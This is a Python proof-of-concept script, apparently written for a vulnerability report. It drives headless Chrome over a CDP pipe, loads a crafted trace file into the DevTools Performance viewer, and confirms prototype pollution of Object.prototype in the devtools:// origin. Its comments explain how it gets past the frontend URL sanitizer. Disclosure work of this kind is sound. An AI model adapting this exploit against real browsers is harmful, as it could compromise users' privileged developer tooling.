#!/usr/bin/env python3
"""
POC driver: launches Chrome, navigates to the bundled DevTools "trace_app"
viewer pointed at the malicious trace file, waits for the trace engine to
parse it, then evaluates `({}).isDropped` / `({}).isPartial` in the
devtools:// realm to prove Object.prototype was polluted by
TimelineFrameBeginFrameQueue.

Uses --remote-debugging-pipe (fd 3 / fd 4, NUL-delimited JSON) so no
external websocket library is required.
"""
import json
import os
import subprocess
import sys
import threading
import time
import shutil
import tempfile

HERE = os.path.dirname(os.path.abspath(__file__))
CHROME = os.environ.get(
    'CHROME', '/chromium/chromium/src/out/asan/chrome')

# Load the malicious gzipped trace and base64-encode it. DevTools' CSP
# (connect-src) permits data: URLs, so the in-page fetch('data:...') is
# allowed in a production build without disabling any security gate.
import base64
with open(os.path.join(HERE, 'evil-trace.json.gz'), 'rb') as _f:
    _gz = _f.read()
TRACE_B64 = base64.b64encode(_gz).decode()

# The C++ SanitizeFrontendURL only allows traceURL values that look like
# http(s) and end in .json/.json.gz, but the page's CSP forbids non-https
# fetches. We therefore navigate with a *valid-looking-but-unreachable*
# traceURL purely so the sanitizer is happy; the fetch fails harmlessly,
# and we then perform the real load via the file/drag-drop code path
# (Common.Revealer.reveal(new SDK.TraceObject.TraceObject(...))), which is
# exactly what TimelinePanel.handleDrop / RehydratingConnection invoke for
# user-supplied trace files.
DEVTOOLS_URL = (
    'devtools://devtools/bundled/trace_app.html'
    '?traceURL=http://unused.invalid/x.json')

# JavaScript injected over CDP into the devtools:// realm. This automates
# what a user does when dropping evil-trace.json.gz onto the Performance
# panel: build a TraceObject and reveal() it to the timeline.
LOAD_TRACE_JS = r"""
(async () => {
  const SDK = await import('./core/sdk/sdk.js');
  const Common = await import('./core/common/common.js');
  const ab = await fetch('data:application/gzip;base64,%s')
                 .then(r => r.arrayBuffer());
  const txt = await Common.Gzip.arrayBufferToString(ab);
  const trace = new SDK.TraceObject.TraceObject(JSON.parse(txt));
  globalThis.__pocLoadDone = false;
  await Common.Revealer.reveal(trace);
  globalThis.__pocLoadDone = true;
  return 'reveal-dispatched';
})()
""" % TRACE_B64


class CDPPipe:
    """Minimal CDP-over-pipe client (NUL-delimited JSON on fd 3/4)."""

    def __init__(self, chrome_path, extra_args, log_file):
        # Pipe Chrome reads commands from (its fd 3): we write to w3.
        r3, self._w3 = os.pipe()
        # Pipe Chrome writes responses to (its fd 4): we read from r4.
        self._r4, w4 = os.pipe()
        os.set_inheritable(r3, True)
        os.set_inheritable(w4, True)
        self._log = open(log_file, 'wb')

        def _child_setup():
            # Make Chrome's fd 3 the read end, fd 4 the write end.
            if r3 != 3:
                os.dup2(r3, 3)
            if w4 != 4:
                os.dup2(w4, 4)

        self.proc = subprocess.Popen(
            [chrome_path, '--remote-debugging-pipe'] + extra_args,
            close_fds=False,
            stdin=subprocess.DEVNULL,
            stdout=self._log,
            stderr=subprocess.STDOUT,
            preexec_fn=_child_setup,
        )
        os.close(r3)
        os.close(w4)
        self._buf = b''
        self._next_id = 1
        self._pending = {}
        self._events = []
        self._lock = threading.Lock()
        self._reader = threading.Thread(target=self._read_loop, daemon=True)
        self._reader.start()

    def _read_loop(self):
        while True:
            try:
                chunk = os.read(self._r4, 65536)
            except OSError:
                break
            if not chunk:
                break
            self._buf += chunk
            while b'\x00' in self._buf:
                msg, _, self._buf = self._buf.partition(b'\x00')
                if not msg:
                    continue
                try:
                    obj = json.loads(msg)
                except Exception:
                    continue
                with self._lock:
                    if 'id' in obj:
                        self._pending[obj['id']] = obj
                    else:
                        self._events.append(obj)

    def send(self, method, params=None, session_id=None, timeout=30):
        mid = self._next_id
        self._next_id += 1
        msg = {'id': mid, 'method': method, 'params': params or {}}
        if session_id:
            msg['sessionId'] = session_id
        data = json.dumps(msg).encode() + b'\x00'
        os.write(self._w3, data)
        deadline = time.time() + timeout
        while time.time() < deadline:
            with self._lock:
                if mid in self._pending:
                    return self._pending.pop(mid)
            time.sleep(0.05)
        raise TimeoutError(f'Timed out waiting for {method}')

    def wait_event(self, method, predicate=None, timeout=30):
        deadline = time.time() + timeout
        idx = 0
        while time.time() < deadline:
            with self._lock:
                while idx < len(self._events):
                    ev = self._events[idx]
                    idx += 1
                    if ev.get('method') == method and (
                            predicate is None or predicate(ev)):
                        return ev
            time.sleep(0.05)
        return None

    def close(self):
        try:
            os.close(self._w3)
        except OSError:
            pass
        self.proc.terminate()
        try:
            self.proc.wait(10)
        except subprocess.TimeoutExpired:
            self.proc.kill()
        self._log.close()


def main():
    user_data = tempfile.mkdtemp(prefix='chrome-poc-')
    log_file = os.path.join(HERE, 'chrome.log')
    cdp = CDPPipe(CHROME, [
        '--headless=new',
        '--no-sandbox',
        '--disable-gpu',
        '--no-first-run',
        '--no-default-browser-check',
        f'--user-data-dir={user_data}',
        'about:blank',
    ], log_file)
    try:
        # Create a new tab pointing at the devtools:// trace viewer.
        print(f'[+] Navigating to {DEVTOOLS_URL}')
        created = cdp.send('Target.createTarget', {'url': DEVTOOLS_URL})
        target_id = created['result']['targetId']
        attached = cdp.send('Target.attachToTarget',
                            {'targetId': target_id, 'flatten': True})
        sid = attached['result']['sessionId']

        cdp.send('Runtime.enable', session_id=sid)
        cdp.send('Log.enable', session_id=sid)
        cdp.send('Page.enable', session_id=sid)

        # Surface console output for debugging.
        def dump_console():
            seen = 0
            while True:
                with cdp._lock:
                    evs = cdp._events[seen:]
                    seen = len(cdp._events)
                for ev in evs:
                    if ev.get('method') == 'Runtime.consoleAPICalled':
                        args = ev['params'].get('args', [])
                        vals = [a.get('value', a.get('description', '')) for a in args]
                        print('  [console]', *vals)
                    if ev.get('method') == 'Log.entryAdded':
                        e = ev['params']['entry']
                        print('  [log]', e.get('level'), e.get('text'))
                    if ev.get('method') == 'Runtime.exceptionThrown':
                        d = ev['params']['exceptionDetails']
                        print('  [exception]', d.get('text'),
                              d.get('exception', {}).get('description', ''))
                time.sleep(0.5)
        threading.Thread(target=dump_console, daemon=True).start()

        # Wait for the trace_app shell to finish booting (its initial
        # traceURL fetch will be CSP-blocked, which is expected).
        for _ in range(60):
            r = cdp.send('Runtime.evaluate', {
                'expression': '!!document.querySelector("body") && '
                              'document.readyState === "complete"',
                'returnByValue': True,
            }, session_id=sid)
            if r.get('result', {}).get('result', {}).get('value'):
                break
            time.sleep(0.5)
        time.sleep(2)

        print('[+] Injecting trace into Performance panel '
              '(simulating user file/URL drop)')
        r = cdp.send('Runtime.evaluate', {
            'expression': LOAD_TRACE_JS,
            'awaitPromise': True,
            'returnByValue': True,
        }, session_id=sid, timeout=120)
        if 'error' in r or r.get('result', {}).get('exceptionDetails'):
            print('  [error] trace injection failed:', json.dumps(r, indent=2))
        else:
            print('  ', r.get('result', {}).get('result', {}).get('value'))

        # Poll for prototype pollution. The trace engine parse is async and
        # the trace is ~50k events, so give it time.
        check_expr = (
            'JSON.stringify({'
            'url: location.href,'
            'isDropped: ({}).isDropped,'
            'isPartial: ({}).isPartial,'
            'objProtoIsDropped: Object.prototype.isDropped,'
            'objProtoIsPartial: Object.prototype.isPartial'
            '})'
        )
        result_value = None
        for i in range(90):
            time.sleep(1)
            r = cdp.send('Runtime.evaluate', {
                'expression': check_expr,
                'returnByValue': True,
            }, session_id=sid)
            v = r.get('result', {}).get('result', {}).get('value')
            if v:
                obj = json.loads(v)
                if i % 5 == 0 or obj.get('isDropped'):
                    print(f'  [poll t={i}s] {obj}')
                if obj.get('isDropped') is True:
                    result_value = obj
                    break
        print()
        if result_value and result_value.get('isDropped') is True \
                and result_value.get('isPartial') is True:
            print('=' * 70)
            print('[+] PROTOTYPE POLLUTION CONFIRMED in devtools:// origin')
            print('=' * 70)
            print(json.dumps(result_value, indent=2))
            print()
            print('Object.prototype.isDropped =', result_value['objProtoIsDropped'])
            print('Object.prototype.isPartial =', result_value['objProtoIsPartial'])
            print('({}).isDropped            =', result_value['isDropped'])
            print('({}).isPartial            =', result_value['isPartial'])
            return 0
        else:
            print('[-] Pollution NOT observed within timeout')
            print('    final probe:', result_value)
            return 1
    finally:
        cdp.close()
        shutil.rmtree(user_data, ignore_errors=True)


if __name__ == '__main__':
    sys.exit(main())